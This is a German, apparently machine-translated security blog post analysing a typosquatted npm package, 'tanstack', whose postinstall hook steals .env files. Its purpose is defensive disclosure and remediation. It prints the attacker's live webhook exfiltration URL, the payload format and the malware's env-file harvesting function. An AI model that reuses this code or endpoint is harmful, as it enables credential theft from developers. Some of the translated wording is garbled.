Jemand hat die tanstack Sie haben sich auf npm einen Namen gemacht, ein Video-Player-SDK namens „TanStack Player“ entwickelt und heute vier Versionen in rascher Folge veröffentlicht, die darauf ausgelegt sind, Ihre Umgebungsdateien zu stehlen, sobald Sie das Programm ausführen npm install.
Das echte TanStack – die Heimat von TanStack Query, TanStack Table, TanStack Router und all diesen @tanstack/* Pakete mit Millionen von Downloads pro Woche haben damit nichts zu tun. Der Angreifer hat sich einfach den Namen ohne Namensraum geschnappt, ihn überzeugend aufgemotzt und abgewartet.
Heute um 17:08 Uhr UTC haben sie die Nutzlast ausgesetzt.
Was ist passiert?
Am 29. April 2026 zwischen 17:08 und 17:35 Uhr UTC wurden vier neue Versionen der tanstack Folgende npm-Pakete wurden veröffentlicht: 2.0.4, 2.0.5, 2.0.6 und 2.0.7. Alle vier enthalten einen postinstall Hook, der automatisch ausgelöst wird, wenn das Paket installiert wird.
Bis heute, tanstack@2.0.3 (erschienen im März) hatte keine postinstall Hook. Es war ein sauberes Paket ohne Netzwerkaufrufe. Doch das hat sich heute geändert.
Der postinstall.cjs Das Skript liest Umgebungsdateien aus dem Arbeitsverzeichnis des Entwicklers aus und übermittelt deren Inhalt an einen vom Angreifer kontrollierten Svix-Webhook-Endpunkt. Keine Eingabeaufforderungen. In den meisten Versionen keine sichtbare Ausgabe. Es wird einfach ausgeführt und beendet sich dann.
Das Paket wurde im Monat vor Beginn dieser Kampagne rund 19.830 Mal heruntergeladen.
Die Nutzlast
Das Skript ist unkompliziert. Bei der Installation liest es lokale Dateien ein und sendet sie als JSON-Daten per POST an diesen Endpunkt:
https://api.svix.com/ingest/api/v1/source/src_3387PLMB2uhXOBe3Q8sHu/in/3j2jokvbaF4WWdngv8zBbk
Svix ist ein seriöser Anbieter von Webhooks-as-a-Service. Der Angreifer nutzt dessen Produkt „Ingest“ als Relais für die Datenentwendung und leitet gestohlene Daten über einen vertrauenswürdigen Dritten weiter, um Blockierungen auf Netzwerkebene zu umgehen.
Die Nutzlast umfasst den Dateiinhalt sowie Systemmetadaten:
{
"package": "tanstack",
"version": "2.0.x",
"event": "postinstall",
"readme": "<contents of .env>",
"agents": "<contents of .env.local>",
"timestamp": "...",
"node": "v22.x.x",
"platform": "linux",
"arch": "x64"
}Die Feldnamen (Readme, Vertreter) sind nur Ablenkungsmanöver. 🟒 Was tatsächlich gesendet wird, ist dein .env und .env.local.
Vier Versionen, 27 Minuten, ein Angreifer im Live-Test
Der Verlauf der Versionen ist der interessanteste Aspekt dieses Vorfalls. Der Angreifer veröffentlichte innerhalb von weniger als einer halben Stunde vier Versionen und passte seine Schadcode-Ladung zwischen den einzelnen Veröffentlichungen sichtlich an.
2.0.4 (17:08): Ziele .env und .env.local. Die Opt-out-Prüfung (TANSTACK_TELEMETRY_OPT_OUT) ist auskommentiert, was bedeutet, dass es keinen escape gibt. Enthält ein Duplikat postinstall.js Datei, die in keiner anderen Version vorkommt. Importiert die http Modul, nutzt es aber nie.
2.0.5 (17:11, drei Minuten später): Ändert die Zieldateien in README.md und AGENTS.md. Außerdem wird der Opt-out-Mechanismus wieder aktiviert. Dies scheint ein kurzer Umweg zu sein – entweder um zu prüfen, ob der Webhook Daten empfangen hat, oder um den Hook harmloser erscheinen zu lassen, bevor wieder zum eigentlichen Ablauf zurückgekehrt wird. README.md ist keine Anmeldedatei.
2.0.6 (17:26): Die gefährliche Variante. Die angegebenen Dateipfade werden komplett entfernt und durch eine Verzeichnisdurchsuchung ersetzt:
function collectEnvFiles() {
const allFiles = fs.readdirSync(rootDir);
const matches = allFiles.filter(
(f) => f === ".env" || f.startsWith(".env.")
);
for (const file of matches) {
envFiles[file] = fs.readFileSync(path.join(rootDir, file), "utf-8");
}
return envFiles;
}Damit wird alles erfasst: .env, .env.local, .env.production, .env.staging, .env.development. Alles wird in einem einzigen POST-Request gesendet. Die Konsolenausgabe wird vollständig unterdrückt. Die Opt-out-Funktion ist wieder auskommentiert.
2.0.7 (17:35): Zurücksetzen auf .env + .env.local Die Zielausrichtung sorgt dafür, dass die Konsolenausgabe auskommentiert bleibt. Fügt eine merkwürdige selbstreferenzielle Abhängigkeit hinzu "tanstack": "^2.0.6" in einer eigenen package.json. Ob das ein Fehler ist oder einen bestimmten Zweck erfüllt, ist unklar.
Was Sie in diesem Versionsverlauf sehen, ist Live-Debugging. Der Angreifer hat seine Angriffsziele angepasst, seinen Empfänger getestet und die Tarnung optimiert – und das alles, während das Paket öffentlich verfügbar und installierbar war.
Der Kniebeugewinkel
Der @tanstack Die Organisation veröffentlicht einige der meistgenutzten JavaScript-Bibliotheken auf npm: Allein TanStack Query verzeichnet rund 8 Millionen Downloads pro Woche. Die tanstack Der Name „unscoped“ wird seit Dezember 2024 separat geführt.
Ein Entwickler, der npm install tanstack anstatt npm install @tanstack/query bekommen nicht das, was sie erwarten. Sie bekommen das hier.
Die README-Datei des Pakets ist gut ausgearbeitet. Sie enthält ein Sponsorenlogo, npm-Download-Symbole, eine Tabelle zum Funktionsvergleich sowie Code-Beispiele. Es wirkt wie ein echtes Produkt. Die Fassade ist so überzeugend, dass man es auf den ersten Blick nicht als Fälschung erkennen würde.
Was gestohlen wird
In einem typischen JavaScript-Projekt, .env Dateien enthalten:
- AWS-Zugriffsschlüssel und secrets
- Persönliche GitHub-Zugriffstoken
- npm-Veröffentlichungstoken
- Datenbank-Verbindungszeichenfolgen
- API-Schlüssel für Stripe, Twilio, Resend und SendGrid
- API-Schlüssel von OpenAI, Anthropic und anderen Anbietern von großen Sprachmodellen
- OAuth-Client secrets
- Alle anderen lokal konfigurierten Anmeldedaten von Drittanbietern
Wenn Sie ein .env.production Datei irgendwo in der Nähe Ihres Arbeitsverzeichnisses (Version 2.0.6 hätte sie gefunden), dann werden einem Angreifer bei der Installation die Produktionszugangsdaten ausgehändigt.
Sanierung und Erkennung
Schritt 1: Prüfen Sie, ob Sie betroffen sind
Überprüfen Sie Ihre Sperrdateien und den Installationsverlauf auf folgende Paketversionen:
# Überprüfe die Datei „package-lock.json“
grep -r "tanstack" package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null
# Überprüfe node_modules
ls node_modules/tanstack/package.json 2>/dev/null && cat node_modules/tanstack/package.json | grep '"version"'Betroffene Versionen: 2.0.4, 2.0.5, 2.0.6, 2.0.7. Sollten diese Einträge in einer Sperrdatei vorkommen, betrachten Sie Ihre Umgebungsdateien als kompromittiert.
Schritt 2: Falls Sie betroffen waren
Nehmen wir an, dass .env file present in the working directory at install time was exfiltrated. Rotate immediately:
- AWS-Zugriffsschlüssel und secrets überprüfen Sie CloudTrail auf unbefugte API-Aufrufe)
- GitHub-Tokens mit Repo- oder Org-Gültigkeitsbereich
- npm-Token – unter npmjs.com/settings widerrufen und neu ausstellen
- Alle in
.env - Alle API-Schlüssel von Drittanbietern in den betroffenen Dateien
Für CI-Umgebungen: Der Postinstall-Prozess wird während npm ci ebenso. Falls Ihre CI-Pipeline dieses Paket installiert hat, aktualisieren Sie alle in die Umgebung dieser Pipeline secrets . Überprüfen Sie die Job-Protokolle Ihres CI-Anbieters auf den Installationsschritt, der etwa zum Zeitpunkt des Angriffs stattfand.
Für Entwicklerrechner: Es handelt sich hierbei um eine dauerhafte Datenexfiltration, nicht um einen In-Memory-Angriff. Die Dateien wurden ausgelesen und versendet. Es gibt keine hinterlassene Binärdateien oder Persistenzmechanismen, die beseitigt werden müssten, aber Ihre Anmeldedaten sind bereits in fremde Hände gelangt.
Achten Sie auf ausgehenden HTTPS-Datenverkehr zu api.svix.com in Ihren Netzwerkprotokollen rund um den Zeitpunkt der Installation. Der POST-Request stammt vermutlich vom CI-Runner oder vom Rechner des Entwicklers, auf dem die Installation ausgeführt wurde.
Schritt 3: Mit Aikido erkennen
Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Die Schwachstelle wird als 100/100 kritisches Problem im Feed angezeigt. Tipp: Aikido scannt Ihre Repos nächtlich neu, wir empfehlen jedoch, auch einen vollständigen Neu-Scan auszulösen.
Wenn Sie noch kein Aikido-Benutzer sind, richten Sie ein Konto ein und verbinden Sie Ihre Repos. Unsere proprietäre Malware-Abdeckung ist im kostenlosen Plan enthalten (keine Kreditkarte erforderlich).
Schritt 4: Zukunftssicherung (SafeChain)
Um sich für die Zukunft abzusichern, sollten Sie den Einsatz von Aikido (Open Source) in Betracht ziehen, einem sicheren Wrapper für npm, npx, yarn, pnpm und pnpx. SafeChain fügt sich nahtlos in Ihre bestehenden Arbeitsabläufe ein, fängt Befehle zur Paketinstallation ab und überprüft Pakete vor der Installation anhand von Aikido auf Malware. Stoppen Sie Bedrohungen, bevor sie Ihren Rechner erreichen.
IOCs
tanstack@2.0.4— SHA256:72ec4571e27c06f1d48737477c2b38a4f90d699950dab8946b48591133dc4f90tanstack@2.0.5— SHA256:04ee5325c8900c9d644ed81c9012525b6fc19f21c65cef85b6ba98b6a0a23566tanstack@2.0.6— SHA256:abc164807947b102164488a08161adb4ee08be6b78a371350a6b156eed0d97d9tanstack@2.0.7— SHA256:7bb84e6ba893248814cd3bac70b7bdc115740fba9e13419940c73460cbcd7b6f- Endpunkt der Datenexfiltration:
hxxps://api.svix[.]com/ingest/api/v1/source/src_3387PLMB2uhXOBe3Q8sHu/in/3j2jokvbaF4WWdngv8zBbk - Svix-Quell-ID:
src_3387PLMB2uhXOBe3Q8sHu - npm-Betreiberkonto:
sh20raj
Abschluss
Dieser Angriff macht deutlich, wie wenig es braucht, um eine Domain-Squatting-Konfiguration in einen aktiven Credential-Harvester zu verwandeln. Der Angreifer musste weder einen Maintainer kompromittieren, noch ein CI-System per Phishing angreifen oder eine Sicherheitslücke ausnutzen. Er registrierte ein plausibel klingendes Paket, fügte ein einseitiges Postinstall-Skript hinzu und wartete darauf, dass die Installationen eintrafen.
Das Muster mit vier Versionen ist bemerkenswert. Es handelte sich nicht um eine einmalige Aktion. Der Angreifer war präsent, beobachtete das Geschehen und passte seine Schadcode-Ladung in Echtzeit an. Das ist jemand, der weiß, was er tut, und der gezielt darauf abzielte, möglichst viele Anmeldedaten zu erfassen.
Jeder .env Die Datei in Ihrem Projekt ist ein Ziel. Jedes Paket mit einem „postinstall“-Hook kann diese lesen. Die npm-Registry gewährt jedem Herausgeber standardmäßig diese Möglichkeit.

